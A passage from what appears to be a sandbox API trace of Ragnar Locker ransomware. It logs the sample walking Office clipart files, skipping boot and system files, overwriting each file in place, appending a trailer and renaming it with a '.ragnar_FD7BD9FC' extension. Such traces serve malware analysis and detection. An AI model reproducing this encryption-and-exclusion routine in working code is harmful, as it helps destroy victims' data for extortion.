hFile=0xf4, liDistanceToMove=0x7d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.607] GetProcessHeap () returned 0x580000 [0092.607] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.607] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.608] VirtualAlloc (lpAddress=0x0, dwSize=0x7dc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.608] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.608] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.608] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7dc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7dc, lpOverlapped=0x0) returned 1 [0092.608] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.608] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7dc, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.608] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7dc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7dc, lpOverlapped=0x0) returned 1 [0092.609] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7dc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.609] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.609] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.609] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.609] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.609] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.609] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.609] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.609] GetProcessHeap () returned 0x580000 [0092.609] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.609] CloseHandle (hObject=0xf4) returned 1 [0092.610] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF" [0092.610] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF.ragnar_FD7BD9FC" [0092.610] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.610] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf72, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00411_.WMF", cAlternateFileName="")) returned 1 [0092.610] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.610] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TN00411_.WMF" | out: lpString1="TN00411_.WMF") returned="TN00411_.WMF" [0092.610] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF") returned=".WMF" [0092.610] lstrcmpiW (lpString1="TN00411_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.610] lstrcmpiW (lpString1="TN00411_.WMF", lpString2="autorun.inf") returned 1 [0092.610] lstrcmpiW (lpString1="TN00411_.WMF", lpString2="boot.ini") returned 1 [0092.610] lstrcmpiW (lpString1="TN00411_.WMF", lpString2="bootfont.bin") returned 1 [0092.610] lstrcmpiW (lpString1="TN00411_.WMF", lpString2="bootsect.bak") returned 1 [0092.611] lstrcmpiW (lpString1="TN00411_.WMF", lpString2="bootmgr") returned 1 [0092.611] lstrcmpiW (lpString1="TN00411_.WMF", lpString2="bootmgr.efi") returned 1 [0092.611] lstrcmpiW (lpString1="TN00411_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.611] lstrcmpiW (lpString1="TN00411_.WMF", lpString2="desktop.ini") returned 1 [0092.611] lstrcmpiW (lpString1="TN00411_.WMF", lpString2="iconcache.db") returned 1 [0092.611] lstrcmpiW (lpString1="TN00411_.WMF", lpString2="ntldr") returned 1 [0092.611] lstrcmpiW (lpString1="TN00411_.WMF", lpString2="ntuser.dat") returned 1 [0092.611] lstrcmpiW (lpString1="TN00411_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.611] lstrcmpiW (lpString1="TN00411_.WMF", lpString2="ntuser.ini") returned 1 [0092.611] lstrcmpiW (lpString1="TN00411_.WMF", lpString2="thumbs.db") returned 1 [0092.611] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.611] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.611] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.611] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.611] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.611] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.611] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf")) returned 0x20 [0092.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.612] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3954) returned 1 [0092.612] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf69, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.612] GetProcessHeap () returned 0x580000 [0092.612] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.612] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.613] VirtualAlloc (lpAddress=0x0, dwSize=0xf72, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.613] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.613] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.613] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf72, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xf72, lpOverlapped=0x0) returned 1 [0092.613] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.613] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf72, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.614] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf72, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xf72, lpOverlapped=0x0) returned 1 [0092.614] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf72, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.614] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.614] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf72, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.614] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.614] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.614] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.614] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.614] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.614] GetProcessHeap () returned 0x580000 [0092.614] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.614] CloseHandle (hObject=0xf4) returned 1 [0092.614] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF" [0092.615] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF.ragnar_FD7BD9FC" [0092.615] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.618] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e9e8900, ftCreationTime.dwHighDateTime=0x1bd4bd7, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e9e8900, ftLastWriteTime.dwHighDateTime=0x1bd4bd7, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00687_.WMF", cAlternateFileName="")) returned 1 [0092.618] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.618] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TN00687_.WMF" | out: lpString1="TN00687_.WMF") returned="TN00687_.WMF" [0092.618] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF") returned=".WMF" [0092.618] lstrcmpiW (lpString1="TN00687_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.618] lstrcmpiW (lpString1="TN00687_.WMF", lpString2="autorun.inf") returned 1 [0092.618] lstrcmpiW (lpString1="TN00687_.WMF", lpString2="boot.ini") returned 1 [0092.618] lstrcmpiW (lpString1="TN00687_.WMF", lpString2="bootfont.bin") returned 1 [0092.618] lstrcmpiW (lpString1="TN00687_.WMF", lpString2="bootsect.bak") returned 1 [0092.618] lstrcmpiW (lpString1="TN00687_.WMF", lpString2="bootmgr") returned 1 [0092.618] lstrcmpiW (lpString1="TN00687_.WMF", lpString2="bootmgr.efi") returned 1 [0092.618] lstrcmpiW (lpString1="TN00687_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.618] lstrcmpiW (lpString1="TN00687_.WMF", lpString2="desktop.ini") returned 1 [0092.618] lstrcmpiW (lpString1="TN00687_.WMF", lpString2="iconcache.db") returned 1 [0092.618] lstrcmpiW (lpString1="TN00687_.WMF", lpString2="ntldr") returned 1 [0092.618] lstrcmpiW (lpString1="TN00687_.WMF", lpString2="ntuser.dat") returned 1 [0092.618] lstrcmpiW (lpString1="TN00687_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.618] lstrcmpiW (lpString1="TN00687_.WMF", lpString2="ntuser.ini") returned 1 [0092.618] lstrcmpiW (lpString1="TN00687_.WMF", lpString2="thumbs.db") returned 1 [0092.618] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.618] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.618] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.618] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.618] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.618] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.618] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf")) returned 0x20 [0092.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.620] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2514) returned 1 [0092.620] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9c9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.620] GetProcessHeap () returned 0x580000 [0092.620] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.620] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.622] VirtualAlloc (lpAddress=0x0, dwSize=0x9d2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.622] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.622] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.622] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9d2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9d2, lpOverlapped=0x0) returned 1 [0092.622] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.622] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9d2, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.622] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9d2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9d2, lpOverlapped=0x0) returned 1 [0092.622] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9d2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.622] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.622] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.622] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.622] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.622] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.623] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.623] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.623] GetProcessHeap () returned 0x580000 [0092.623] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.623] CloseHandle (hObject=0xf4) returned 1 [0092.623] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF" [0092.623] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF.ragnar_FD7BD9FC" [0092.623] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.624] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd723f700, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd723f700, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN01164_.WMF", cAlternateFileName="")) returned 1 [0092.624] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.624] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TN01164_.WMF" | out: lpString1="TN01164_.WMF") returned="TN01164_.WMF" [0092.624] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF") returned=".WMF" [0092.624] lstrcmpiW (lpString1="TN01164_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.624] lstrcmpiW (lpString1="TN01164_.WMF", lpString2="autorun.inf") returned 1 [0092.624] lstrcmpiW (lpString1="TN01164_.WMF", lpString2="boot.ini") returned 1 [0092.624] lstrcmpiW (lpString1="TN01164_.WMF", lpString2="bootfont.bin") returned 1 [0092.624] lstrcmpiW (lpString1="TN01164_.WMF", lpString2="bootsect.bak") returned 1 [0092.624] lstrcmpiW (lpString1="TN01164_.WMF", lpString2="bootmgr") returned 1 [0092.624] lstrcmpiW (lpString1="TN01164_.WMF", lpString2="bootmgr.efi") returned 1 [0092.624] lstrcmpiW (lpString1="TN01164_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.624] lstrcmpiW (lpString1="TN01164_.WMF", lpString2="desktop.ini") returned 1 [0092.624] lstrcmpiW (lpString1="TN01164_.WMF", lpString2="iconcache.db") returned 1 [0092.624] lstrcmpiW (lpString1="TN01164_.WMF", lpString2="ntldr") returned 1 [0092.624] lstrcmpiW (lpString1="TN01164_.WMF", lpString2="ntuser.dat") returned 1 [0092.624] lstrcmpiW (lpString1="TN01164_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.624] lstrcmpiW (lpString1="TN01164_.WMF", lpString2="ntuser.ini") returned 1 [0092.624] lstrcmpiW (lpString1="TN01164_.WMF", lpString2="thumbs.db") returned 1 [0092.624] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.624] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.624] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.624] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.624] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.624] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.624] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf")) returned 0x20 [0092.624] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.625] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=566) returned 1 [0092.625] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.625] GetProcessHeap () returned 0x580000 [0092.625] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.625] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.627] VirtualAlloc (lpAddress=0x0, dwSize=0x236, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.627] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.627] SetFilePointerEx (in: 